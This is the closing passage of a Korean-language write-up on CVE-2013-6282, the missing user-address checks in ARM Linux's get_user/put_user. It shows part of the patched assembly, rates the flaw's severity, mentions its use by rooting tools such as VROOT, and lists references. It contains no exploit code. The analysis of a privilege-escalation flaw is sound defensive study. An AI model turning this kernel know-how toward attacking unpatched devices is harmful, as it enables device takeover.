39    check_uaccess r0, 4, r1, ip, __put_user_bad
40
41  4: TUSER(str) r2, [r0]
42    mov r0, #0
43    mov pc, lr
44  ENDPROC(__put_user_4)
45
46  ENTRY(__put_user_8)
47
48    check_uaccess r0, 8, r1, ip, __put_user_bad
49
50  #ifdef CONFIG_THUMB2_KERNEL
51  5: TUSER(str) r2, [r0]
52  6: TUSER(str) r3, [r0, #4]
```

또한 지난 `{get, put}_user()` 에서 사용은 되나 실질적 연산에 포함되지 않던 r3 레지스터를 메모리 상의 `limit` 값을 넣어 주소 임계치 비교에 사용되도록 바뀌게 되었다.

5. Conclusion

위 취약한 code의 경우 로컬 상에서 접근 복잡도가 높지않게, 높은 권한을 요구하지 않은 상태에서 confidentiality / integritiy / availability에 완벽한 영향력을 끼치므로 높게 측정 되었다. USD 기준 추정 $0 ~ $5,000의 bug bounty가 제안된 것으로 추정 된다.

초반 도입 부분에서 언급 하였듯 이는 당시 대부분의 Android 스마트폰 시장의 기기들에게 영향을 끼쳤다. 약 1년간의 embargo가 있음에도 불구하고 실질적 패치가 vender로부터 이루어지기 전에 수많은 이용이 되었다. 이에는 `VROOT` 등 광범위한 목표를 가진 루팅 공격이 대표적으로 존재한다.

또한 이 취약점을 기반으로 차세대 ARM 플랫폼 설계시 원천적으로 domain을 통해 봉인 되었음을 고려하면 상당한 설계적 결함이라 판단된다.

6. Reference

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6282
- https://cve.report/CVE-2013-6282
- https://nvd.nist.gov/vuln/detail/CVE-2013-6282
- https://ubuntu.com/security/CVE-2013-6282
- https://access.redhat.com/security/cve/cve-2013-6282
- https://security-tracker.debian.org/tracker/CVE-2013-6282
- https://vuldb.com/ko/?id.11226
- https://www.mend.io/vulnerability-database/CVE-2013-6282
- https://mirrors.edge.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.5.5
- https://github.com/torvalds/linux/commit/8404663f81d212918ff85f493649a7991209fa04
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8404663f81d212918ff85f493649a7991209fa04
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/arch/arm/include/asm/uaccess.h?id=8404663f81d212918ff85f493649a7991209fa04

- https://web.archive.org/web/20140327052415/https://www.codeaurora.org/projects/security-advisories/missing-access-checks-putusergetuser-kernel-api-cve-2013-6282
- https://lore.kernel.org
- https://developer.arm.com/documentation/ddi0406/c/System-Level-Architecture/System-Control-Registers-in-a-VMSA-implementation/VMSA-System-control-registers-descriptions--in-register-order/DACR--Domain-Access-Control-Register--VMSA
- https://developer.arm.com/documentation/ddi0388/i/system-control/register-summary/virtual-memory-control-registers
- https://wiki.kldp.org/KoreanDoc/html/EmbeddedKernel-KLDP
- https://blog.csdn.net/ce123_zhouwei/article/details/8209702

- https://elixir.bootlin.com
- https://codebrowser.dev/